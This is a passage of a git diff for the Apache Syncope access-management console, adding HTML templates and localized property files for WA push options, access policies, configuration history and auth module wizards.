+userInfoEncryptedResponseEncoding=UserInfo Encrypted Response Encoding +evaluationOrder=Evaluation Order diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/UsernameAttributeProviderModalPanelBuilder$Profile.html b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/UsernameAttributeProviderModalPanelBuilder$Profile.html new file mode 100644 index 00000000000..d86e0019271 --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/UsernameAttributeProviderModalPanelBuilder$Profile.html @@ -0,0 +1,24 @@ + + + +
[conf]
+ + + diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA.html b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA.html index a0f621f461e..3a3a410e40f 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA.html +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA.html @@ -45,5 +45,7 @@ + +
[modal]
diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA.properties index 10acef86896..cdd3184c2bf 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA.properties @@ -22,3 +22,5 @@ sessions=Sessions authProfiles=Profiles push=Push attrRepos=Attribute Repositories +push.options=WA Push Options +submit=Push diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_fr_CA.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_fr_CA.properties index 10acef86896..cdd3184c2bf 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_fr_CA.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_fr_CA.properties @@ -22,3 +22,5 @@ sessions=Sessions authProfiles=Profiles push=Push attrRepos=Attribute Repositories +push.options=WA Push Options +submit=Push diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_it.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_it.properties index 7cb10b56f33..672aa66750e 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_it.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_it.properties @@ -22,3 +22,5 @@ sessions=Sessioni authProfiles=Profili push=Applica attrRepos=Depositi di Attributi +push.options=Applica a WA +submit=Applica diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_ja.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_ja.properties index 10acef86896..cdd3184c2bf 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_ja.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_ja.properties @@ -22,3 +22,5 @@ sessions=Sessions authProfiles=Profiles push=Push attrRepos=Attribute Repositories +push.options=WA Push Options +submit=Push diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_pt_BR.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_pt_BR.properties index 10acef86896..cdd3184c2bf 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_pt_BR.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_pt_BR.properties @@ -22,3 +22,5 @@ sessions=Sessions authProfiles=Profiles push=Push attrRepos=Attribute Repositories +push.options=WA Push Options +submit=Push diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_ru.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_ru.properties index 10acef86896..cdd3184c2bf 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_ru.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/pages/WA_ru.properties @@ -22,3 +22,5 @@ sessions=Sessions authProfiles=Profiles push=Push attrRepos=Attribute Repositories +push.options=WA Push Options +submit=Push diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel.properties index e819d53fc0b..d8bd31d7d06 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel.properties @@ -21,3 +21,4 @@ description=Description type=Type state=State order=Order +auditHistory.title=Configuration history diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_fr_CA.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_fr_CA.properties index e0e06db5c0a..8b6d0f09884 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_fr_CA.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_fr_CA.properties @@ -21,3 +21,4 @@ description=Description type=Type state=State order=Order +auditHistory.title=Historique de configuration diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_it.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_it.properties index 26c3438fd6d..1af05b62705 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_it.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_it.properties @@ -21,3 +21,5 @@ description=Descrizione type=Tipo state=Stato order=Ordinamento +auditHistory.title=Storico delle configurazioni + diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_ja.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_ja.properties index 3fe7748112f..3f46882e28f 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_ja.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_ja.properties @@ -21,3 +21,4 @@ description=Description type=Type state=State order=Order +auditHistory.title=\u8a2d\u5b9a\u5c65\u6b74 diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_pt_BR.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_pt_BR.properties index ad1a3f9640a..f0b9ac63fd4 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_pt_BR.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_pt_BR.properties @@ -21,3 +21,4 @@ description=Description type=Type state=State order=Order +auditHistory.title=Hist\u00f3rico de configura\u00e7\u00e3o diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_ru.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_ru.properties index 63cbbc9cfc5..5c45daf43ff 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_ru.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel_ru.properties @@ -22,3 +22,4 @@ description=Description type=Type state=State order=Order +auditHistory.title=\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel.properties index b687db478f4..610c4ed6fde 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel.properties @@ -21,3 +21,4 @@ description=Description type=Type state=State order=Order +menu.history=Configuration history diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_fr_CA.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_fr_CA.properties index 8d286a176da..9ba36d0c21e 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_fr_CA.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_fr_CA.properties @@ -21,3 +21,4 @@ description=Description type=Type state=State order=Order +auditHistory.title=Historique de configuration diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_it.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_it.properties index c122cc5d98f..505b2c819d7 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_it.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_it.properties @@ -21,3 +21,5 @@ description=Descrizione type=Tipo state=Stato order=Ordinamento +auditHistory.title=Storico delle configurazioni + diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_ja.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_ja.properties index 60da8670c22..2bc655597e0 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_ja.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_ja.properties @@ -21,3 +21,4 @@ description=Description type=Type state=State order=Order +auditHistory.title=\u8a2d\u5b9a\u5c65\u6b74 diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_pt_BR.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_pt_BR.properties index 0f1790ab08f..8ec55efe7b1 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_pt_BR.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_pt_BR.properties @@ -21,3 +21,4 @@ description=Description type=Type state=State order=Order +auditHistory.title=Hist\u00f3rico de configura\u00e7\u00e3o diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_ru.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_ru.properties index f87847bcab6..18490680b24 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_ru.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel_ru.properties @@ -22,3 +22,4 @@ description=Description type=Type state=State order=Order +auditHistory.title=\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/OIDC.html b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/OIDC.html index e95ce63322d..0e34db86e3f 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/OIDC.html +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/OIDC.html @@ -49,6 +49,7 @@

Well-Known URI

+
diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/OIDCJWKSGenerationPanel.html b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/OIDCJWKSGenerationPanel.html new file mode 100644 index 00000000000..cce9c66bf52 --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/OIDCJWKSGenerationPanel.html @@ -0,0 +1,27 @@ + + + +
+ + + +
+ + diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel.html b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel.html new file mode 100644 index 00000000000..d19dcc5a654 --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel.html @@ -0,0 +1,26 @@ + + + +
+ + +
+ + diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel.properties similarity index 88% rename from client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel.properties rename to client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel.properties index f1464667806..1c6402c1a5c 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel.properties @@ -14,8 +14,8 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. -any.edit=Edit ${key} -any.new=New report template -any.finish=Submit -any.cancel=Cancel -text.title=csv +# +services=WA instances +subject=Push Subject +conf=Full Configuration +clientApps=Client Applications diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportletDirectoryPanel.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_fr_CA.properties similarity index 88% rename from client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportletDirectoryPanel.properties rename to client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_fr_CA.properties index d3e5cde376a..1c6402c1a5c 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportletDirectoryPanel.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_fr_CA.properties @@ -14,7 +14,8 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. -reportlet=Reportlet -profile=Profile -configuration=Configuration -noConf=No configuration available +# +services=WA instances +subject=Push Subject +conf=Full Configuration +clientApps=Client Applications diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_it.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_it.properties new file mode 100644 index 00000000000..e35d265472b --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_it.properties @@ -0,0 +1,21 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +services=Istanze di WA +subject=Oggetto +conf=Configurazione Completa +clientApps=Applicazioni Client diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportletDirectoryPanel_it.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_ja.properties similarity index 88% rename from client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportletDirectoryPanel_it.properties rename to client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_ja.properties index 96bcb850f78..1c6402c1a5c 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportletDirectoryPanel_it.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_ja.properties @@ -14,7 +14,8 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. -reportlet=Reportlet -profile=Profilo -configuration=Configurazione -noConf=Nessuna configurazione +# +services=WA instances +subject=Push Subject +conf=Full Configuration +clientApps=Client Applications diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_pt_BR.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_pt_BR.properties new file mode 100644 index 00000000000..1c6402c1a5c --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_pt_BR.properties @@ -0,0 +1,21 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +services=WA instances +subject=Push Subject +conf=Full Configuration +clientApps=Client Applications diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_ru.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_ru.properties new file mode 100644 index 00000000000..1c6402c1a5c --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/panels/WAPushModalPanel_ru.properties @@ -0,0 +1,21 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +services=WA instances +subject=Push Subject +conf=Full Configuration +clientApps=Client Applications diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel.html b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel.html new file mode 100644 index 00000000000..793de99af09 --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel.html @@ -0,0 +1,23 @@ + + + + + + diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel.properties new file mode 100644 index 00000000000..33143bb412c --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel.properties @@ -0,0 +1,29 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +order=Order +ssoEnabled=SSO Enabled +enabled=Enabled +requireAllAttributes=Require All Attributes +caseInsensitive=Case Insensitive +ipAddress=IP Address +userAgent=User Agent +endpointUrl=Endpoint URL +start=Start +end=End +zoneId=Zone Id +requiredAttrs=Required Attributes +rejectedAttrs=Rejected Attributes diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_fr.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_fr.properties new file mode 100644 index 00000000000..33143bb412c --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_fr.properties @@ -0,0 +1,29 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +order=Order +ssoEnabled=SSO Enabled +enabled=Enabled +requireAllAttributes=Require All Attributes +caseInsensitive=Case Insensitive +ipAddress=IP Address +userAgent=User Agent +endpointUrl=Endpoint URL +start=Start +end=End +zoneId=Zone Id +requiredAttrs=Required Attributes +rejectedAttrs=Rejected Attributes diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_it.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_it.properties new file mode 100644 index 00000000000..7801c64fb8e --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_it.properties @@ -0,0 +1,29 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +order=Ordinamento +ssoEnabled=SSO Abilitato +enabled=Abilitata +requireAllAttributes=Richiedi Tutti gli Attributi +caseInsensitive=Case Insensitive +ipAddress=Indirizzo IP +userAgent=User Agent +endpointUrl=URL Endpoint +start=Inizio +end=Fine +zoneId=Zone Id +requiredAttrs=Attibuti Richiesti +rejectedAttrs=Attributi Rifiutati diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_ja.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_ja.properties new file mode 100644 index 00000000000..33143bb412c --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_ja.properties @@ -0,0 +1,29 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +order=Order +ssoEnabled=SSO Enabled +enabled=Enabled +requireAllAttributes=Require All Attributes +caseInsensitive=Case Insensitive +ipAddress=IP Address +userAgent=User Agent +endpointUrl=Endpoint URL +start=Start +end=End +zoneId=Zone Id +requiredAttrs=Required Attributes +rejectedAttrs=Rejected Attributes diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_pt_BR.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_pt_BR.properties new file mode 100644 index 00000000000..33143bb412c --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_pt_BR.properties @@ -0,0 +1,29 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +order=Order +ssoEnabled=SSO Enabled +enabled=Enabled +requireAllAttributes=Require All Attributes +caseInsensitive=Case Insensitive +ipAddress=IP Address +userAgent=User Agent +endpointUrl=Endpoint URL +start=Start +end=End +zoneId=Zone Id +requiredAttrs=Required Attributes +rejectedAttrs=Rejected Attributes diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_ru.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_ru.properties new file mode 100644 index 00000000000..33143bb412c --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AccessPolicyModalPanel_ru.properties @@ -0,0 +1,29 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +order=Order +ssoEnabled=SSO Enabled +enabled=Enabled +requireAllAttributes=Require All Attributes +caseInsensitive=Case Insensitive +ipAddress=IP Address +userAgent=User Agent +endpointUrl=Endpoint URL +start=Start +end=End +zoneId=Zone Id +requiredAttrs=Required Attributes +rejectedAttrs=Rejected Attributes diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AttrReleasePolicyModalPanel.html b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AttrReleasePolicyModalPanel.html index aa0da3f6f61..38daa422e49 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AttrReleasePolicyModalPanel.html +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AttrReleasePolicyModalPanel.html @@ -18,6 +18,9 @@ --> +
+ +
diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AuthPolicyModalPanel.html b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AuthPolicyModalPanel.html index b71bbf3fe21..b5923fc5df6 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AuthPolicyModalPanel.html +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/AuthPolicyModalPanel.html @@ -24,5 +24,17 @@
+
+ +
+
+ +
+
+ +
+
+ +
diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/TicketExpirationPolicyModalPanel.html b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/TicketExpirationPolicyModalPanel.html new file mode 100644 index 00000000000..7416cfa810b --- /dev/null +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/policies/TicketExpirationPolicyModalPanel.html @@ -0,0 +1,30 @@ + + + + + + + + + + + + + diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP.html b/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP.html similarity index 100% rename from client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP.html rename to client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP.html diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP.properties similarity index 100% rename from client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP.properties rename to client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP.properties diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP_fr_CA.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP_fr_CA.properties similarity index 100% rename from client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP_fr_CA.properties rename to client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP_fr_CA.properties diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP_it.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP_it.properties similarity index 100% rename from client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP_it.properties rename to client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP_it.properties diff --git 